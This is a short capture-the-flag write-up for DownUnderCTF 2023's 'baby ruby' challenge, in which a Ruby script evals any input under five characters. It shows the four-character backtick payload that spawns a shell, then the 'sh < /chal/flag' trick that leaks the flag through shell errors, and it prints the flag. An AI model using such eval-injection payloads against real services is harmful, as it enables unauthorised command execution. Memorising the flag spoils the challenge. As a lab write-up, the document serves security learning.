ctf-writeup/DownUnderCTF 2023/baby ruby
Muhammad Daffa 31fd21b4ef feat: added DownUnderCTF 2023 2023-09-03 22:01:34 +07:00
..
images feat: added DownUnderCTF 2023 2023-09-03 22:01:34 +07:00
README.md feat: added DownUnderCTF 2023 2023-09-03 22:01:34 +07:00

README.md

baby ruby

How well do you know your Ruby?

The flag is at /chal/flag.

About the Challenge

We got a server to connect and also the source code, here is the content of ruby.rb

#!/usr/bin/env ruby

while input = STDIN.gets.chomp do eval input if input.size < 5 end

The length of the payload must < 5 and if the length of our input is under 5 characters, the code will execute our input

How to Solve?

Because there is no filter in the code, we can spawn a shell by inputting

`sh`

And because of we can't use cat command. We can use this command to obtain the flag

sh < /chal/flag

So, when you run sh < /chal/flag, it instructs the sh shell to take the contents of the /chal/flag file and use it as input for shell commands

flag

DUCTF{how_to_pwn_ruby_in_four_easy_steps}